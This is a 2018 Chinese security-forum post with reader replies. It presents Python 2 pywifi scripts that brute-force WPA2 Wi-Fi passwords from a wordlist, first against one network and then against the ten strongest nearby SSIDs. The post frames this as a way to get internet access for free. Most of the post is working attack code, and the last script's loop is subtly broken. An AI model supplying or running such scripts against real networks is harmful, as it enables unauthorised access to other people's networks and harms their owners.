用户
搜索
  • TA的每日心情
    奋斗
    2019-5-1 00:25
  • 签到天数: 253 天

    连续签到: 1 天

    [LV.8]以坛为家I

    超级版主

    Supreme玩家

    Rank: 8Rank: 8

    73

    主题

    2273

    帖子

    3978

    魔法币
    收听
    0
    粉丝
    181
    注册时间
    2016-2-5

    楚核心白帽i春秋签约作者白帽传说春秋游侠秦燕魏赵齐突出贡献

    发表于 2018-3-19 23:00:04 7986794
    本文原创作者:Exp1ore,本文属i春秋原创奖励计划,未经许可禁止转载
    0.jpg
    系列文章专辑:https://bbs.ichunqiu.com/forum.php?mod=collection&action=view&ctid=137

    0x00 前言
    进入新的系列专辑了,告别脚本小子篇...第一篇就是如何让自己有网吧,对对对,就是这样....
    如果一个搞web安全的,没有网,跟咸鱼有什么区别.....所以就有了本篇文章

    0x01 Pywifi模块简单介绍
    官方文档:https://github.com/awkman/pywifi/blob/master/DOC.md
    用一个连WIFI的栗子,概括他的大概用法吧...
    [Python] 纯文本查看 复制代码
    #-*- coding: UTF-8 -*-
    import pywifi
    from pywifi import const  #引用一些定义
    
    profile = pywifi.Profile()  #创建wifi连接文件
    profile.ssid = '*****'  #定义wifissid
    profile.auth = const.AUTH_ALG_OPEN  #网卡的开放
    profile.akm.append(const.AKM_TYPE_WPA2PSK) #wifi加密算法
    profile.cipher = const.CIPHER_TYPE_CCMP #加密单元
    profile.key = '*****' #wifi密码
    
    wifi = pywifi.PyWiFi() #抓取网卡接口
    iface = wifi.interfaces()[0] #获取网卡
    profile = iface.add_network_profile(profile) #加载配置文件
    iface.connect(profile) #连接wifi


    0x02 WIFI破解

    一、对单一的目标破解
    也许没表达对,我的意思呢,就是只对一个目标进行破解........
    [Python] 纯文本查看 复制代码
    #-*- coding: UTF-8 -*-
    import pywifi
    from pywifi import const  #引用一些定义
    import time
    def testwifi(password):
        wifi=pywifi.PyWiFi()#抓取网卡接口
        ifaces=wifi.interfaces()[0]#获取网卡
        ifaces.disconnect()#断开无限网卡连接
    
        profile=pywifi.Profile()#创建wifi连接文件
        profile.ssid="*******"#定义wifissid
        profile.auth=const.AUTH_ALG_OPEN#网卡的开放
        profile.akm.append(const.AKM_TYPE_WPA2PSK)#wifi加密算法
        profile.cipher=const.CIPHER_TYPE_CCMP##加密单元
        profile.key=password #wifi密码
    
        ifaces.remove_all_network_profiles()#删除其他所有配置文件
        tmp_profile=ifaces.add_network_profile(profile)#加载配置文件
    
        ifaces.connect(tmp_profile)#连接wifi
        time.sleep(5)#5秒内能否连接上
        if ifaces.status()==const.IFACE_CONNECTED:
            print "[-]WiFi connection success!"
        else:
            print "[-]WiFi connection failure!"
    
            ifaces.disconnect()#断开连接
            time.sleep(1)
    
        return True
    def main():
            print "  ____                _   __        _____ _____ ___ "
            print " / ___|_ __ __ _  ___| | _\ \      / /_ _|  ___|_ _|"
            print "| |   | '__/ _` |/ __| |/ /\ \ /\ / / | || |_   | | "
            print "| |___| | | (_| | (__|   <  \ V  V /  | ||  _|  | | "
            print " \____|_|  \__,_|\___|_|\_\  \_/\_/  |___|_|   |___|"
            path=r"password.txt"
            files=open(path,'r')
            while True:
                    f=files.readline()
                    if not f:
                            break
                    f = f[:-1]  
                    testwifi(f)
                    print "[-]Current password:",f
            files.close()
    if __name__ == '__main__':
        main()

    74.jpg
    二、实现对附近WiFi扫描并破解目标:扫描信号前十的WIFI并实现破解
    分步实现吧,先实现抓取ssidname,然后在加上信号强度
    [Python] 纯文本查看 复制代码
    #-*- coding: UTF-8 -*-
    import pywifi
    from pywifi import const  #引用一些定义
    def getwifi():
        wifi=pywifi.PyWiFi()#抓取网卡接口
        ifaces=wifi.interfaces()[0]#获取网卡
        ifaces.scan()
        bessis = ifaces.scan_results()
        list = []
        for data in bessis:
            list.append((data.ssid, data.signal))
        return len(list), sorted(list, key=lambda st: st[1], reverse=True)
    
    if __name__ == '__main__':
        print getwifi()
    

    然后是通过信号强度实现排序,进入top10会进行后续的破解工作...
    [Python] 纯文本查看 复制代码
    #-*- coding: UTF-8 -*-
    import pywifi
    from pywifi import const  #引用一些定义
    import time
    def getwifi():
        wifi=pywifi.PyWiFi()#抓取网卡接口
        ifaces=wifi.interfaces()[0]#获取网卡
        ifaces.scan()
        bessis = ifaces.scan_results()
        list = []
        for data in bessis:
            list.append((data.ssid, data.signal))
        return len(list), sorted(list, key=lambda st: st[1], reverse=True)
    def getsignal():
        while True:
            n, data = getwifi()
            time.sleep(1)
            if n is not 0:
                return data[0:10]
    if __name__ == '__main__':
        print getsignal()
    

    排完序之后,就是把信号强度去掉,然后获取ssidname
    [Python] 纯文本查看 复制代码
    #-*- coding: UTF-8 -*-
    import pywifi
    from pywifi import const  #引用一些定义
    import time
    def getwifi():
        wifi=pywifi.PyWiFi()#抓取网卡接口
        ifaces=wifi.interfaces()[0]#获取网卡
        ifaces.scan()
        bessis = ifaces.scan_results()
        list = []
        for data in bessis:
            list.append((data.ssid, data.signal))
        return len(list), sorted(list, key=lambda st: st[1], reverse=True)
    def getsignal():
        while True:
            n, data = getwifi()
            time.sleep(1)
            if n is not 0:
                return data[0:10]
    def ssidnamelist():
        ssidlist = getsignal()
        namelist = []
        for item in ssidlist:
            namelist.append(item[0])
        return namelist
    if __name__ == '__main__':
        print ssidnamelist()
    

    之后,就是上面对单个wifi破解的套路了,只需稍微改一下,直接贴代码了
    [Python] 纯文本查看 复制代码
    #-*- coding: UTF-8 -*-
    import pywifi
    from pywifi import const  #引用一些定义
    import time
    def getwifi():
        wifi=pywifi.PyWiFi()#抓取网卡接口
        ifaces=wifi.interfaces()[0]#获取网卡
        ifaces.scan()
        bessis = ifaces.scan_results()
        list = []
        for data in bessis:
            list.append((data.ssid, data.signal))
        return len(list), sorted(list, key=lambda st: st[1], reverse=True)
    def getsignal():
        while True:
            n, data = getwifi()
            time.sleep(1)
            if n is not 0:
                return data[0:10]
    def ssidnamelist():
        ssidlist = getsignal()
        namelist = []
        for item in ssidlist:
            namelist.append(item[0])
        return namelist
    def testwifi(ssidname,password):
        wifi=pywifi.PyWiFi()#抓取网卡接口
        ifaces=wifi.interfaces()[0]#获取网卡
        ifaces.disconnect()#断开无限网卡连接
     
        profile=pywifi.Profile()#创建wifi连接文件
        profile.ssid=ssidname#定义wifissid
        profile.auth=const.AUTH_ALG_OPEN#网卡的开放
        profile.akm.append(const.AKM_TYPE_WPA2PSK)#wifi加密算法
        profile.cipher=const.CIPHER_TYPE_CCMP##加密单元
        profile.key=password #wifi密码
     
        ifaces.remove_all_network_profiles()#删除其他所有配置文件
        tmp_profile=ifaces.add_network_profile(profile)#加载配置文件
     
        ifaces.connect(tmp_profile)#连接wifi
        time.sleep(5)#5秒内能否连接上
        if ifaces.status()==const.IFACE_CONNECTED:
            print "[-]WiFi connection success!"
        else:
            print "[-]WiFi connection failure!"
     
            ifaces.disconnect()#断开连接
            time.sleep(1)
     
        return True
    def main():
        print "  ____                _   __        _____ _____ ___ "
        print " / ___|_ __ __ _  ___| | _\ \      / /_ _|  ___|_ _|"
        print "| |   | '__/ _` |/ __| |/ /\ \ /\ / / | || |_   | | "
        print "| |___| | | (_| | (__|   <  \ V  V /  | ||  _|  | | "
        print " \____|_|  \__,_|\___|_|\_\  \_/\_/  |___|_|   |___|"
        path=r"password.txt"
        files=open(path,'r')
        while True:
                f=files.readline()
                for ssidname in ssidnamelist():
                    ret=testwifi(ssidname,f)
                    print 'Current WIFIname:',ssidname
                    print 'Current password:',f
        files.close()
    if __name__ == '__main__':
        main()
    

    75.jpg
    求各位dalao点赞,顺便回复一下,谢谢各位dalao,本集完




    评分

    参与人数 1魔法币 +6 收起 理由
    Rocky + 6 666

    查看全部评分

    本帖被以下淘专辑推荐:

    一位特爱收藏Supreme的大哥哥....
    发表于 2018-3-20 17:38:15

    回帖奖励 +5

    啥也不说,aircrack-ng牛逼  23333   怎么不说作者用心良苦啊,感谢作者分享 不过  建议表哥引入  tkinter写图形化的和命令行的 两种方案 会更好一些

    评分

    参与人数 1魔法币 +6 收起 理由
    Exp1ore + 6

    查看全部评分

    风吟和悦小鸟酱
    使用道具 举报 回复
    发表于 2018-9-30 13:34:09
    快有10年没研究wifi了,最开始都是wep加密的,抓一些包就能分析出来网络密码,后来是wpa加密的,需要挂字典的,在往后就没时间去研究无线这一块了..
    有一天他会突然觉得累了甚至忘了初衷 放弃了梦想也许因为年纪的关系奔波于现实 然后拉黑了网络认识的所有人或者说不用了一个号码换了一个QQ 那么记得他叫大叔 这个网络他曾来过
    使用道具 举报 回复
    对于在Windows下的Python2版本方面安装pywifi的提示,下载楼主推荐的GitHub链接,下载那个项目,cd pywifi
    py -2 -m pip install .
    这样就可以了

    评分

    参与人数 1魔法币 +6 收起 理由
    Exp1ore + 6 求赞

    查看全部评分

    使用道具 举报 回复
    发表于 2018-3-20 13:16:30
    flypanda 发表于 2018-3-20 13:14
    pywifi object has no attribute "PyWifi"

    不好意思 代码写错了WiFi的F没大写
    使用道具 举报 回复
    发表于 2018-3-20 21:24:49
    hideonbeach 发表于 2018-3-20 14:47
    crackwifi字是怎么搞出来的?有没有类似的脚本或者网站啊?

    figlet了解一下
    一位特爱收藏Supreme的大哥哥....
    使用道具 举报 回复
    发表于 2018-3-19 23:55:19
    little6 发表于 2018-3-19 23:40
    很6666,为你打calll
    pywifi貌似不能在windows安装

    可以了,你用github那个。。。。
    一位特爱收藏Supreme的大哥哥....
    使用道具 举报 回复
    运行起来疯狂报错pywifi 2018-07-25 09:42:43,640 ERROR Open handle failed!
    新人小白,求大佬解答
    使用道具 举报 回复
    坏蛋 管理员 欢迎大家来春秋群找我玩
    推荐
    发表于 2018-3-20 18:02:18

    回帖奖励 +5

    野驴 发表于 2018-3-20 17:23
    感谢分享,破解wifi新思路

    野驴兄快回归啊
    欢迎加入i春秋QQ群大家庭,每人只能任选加入一个群哦!
    投稿请加QQ:780876774。

    i春秋—楚:713729706
    i春秋—魏:687133802
    网安交流群:820783253
    使用道具 举报 回复
    发表于 2018-3-19 23:24:50
    沙发自占,supreme男孩
    一位特爱收藏Supreme的大哥哥....
    使用道具 举报 回复
    发表于 2018-3-19 23:32:13

    回帖奖励 +5

    啥也不说,aircrack-ng牛逼
    使用道具 举报 回复
    发表于 2018-3-19 23:32:26
    好思路!!!!!!!!
    使用道具 举报 回复

    回帖奖励 +5

    炸天!
    使用道具 举报 回复
    发表于 2018-3-19 23:40:43

    回帖奖励 +5

    本帖最后由 little6 于 2018-3-19 23:42 编辑

    很6666,为你打calll
    pywifi貌似不能在windows安装
    新人求罩
    使用道具 举报 回复
    发表于 2018-3-19 23:56:45

    回帖奖励 +5

    给大佬买Supreme
    当你凝望深渊时,你就不怕吗?
    使用道具 举报 回复

    回帖奖励 +5

    ~~~~~~~~~~~~666666学习一波了
    使用道具 举报 回复
    发表于 2018-3-20 10:02:13

    回帖奖励 +5

    感谢楼主分享 楼主牛人啊
    使用道具 举报 回复
    发表于 2018-3-20 10:08:23

    回帖奖励 +5

    感谢我大表哥分享技术贴,学习了
    使用道具 举报 回复
    发表于 2018-3-20 10:19:55

    回帖奖励 +5

    阿甫哥哥 发表于 2018-3-19 23:24
    沙发自占,supreme男孩

    牛逼
    低调求发展,潜心学安全 个人博客www.shallowdream.cn
    使用道具 举报 回复
    发表于 2018-3-20 12:52:04

    回帖奖励 +5

    听说回帖有奖励
    专注网络安全与程序开发,博客:https://blog.dyboy.cn
    使用道具 举报 回复
    发表于 2018-3-20 13:00:18

    回帖奖励 +5

    牛逼 学习了
    使用道具 举报 回复
    发表于 2018-3-20 13:01:27

    回帖奖励 +5

    支持支持。。
    使用道具 举报 回复
    发新帖
    您需要登录后才可以回帖 登录 | 立即注册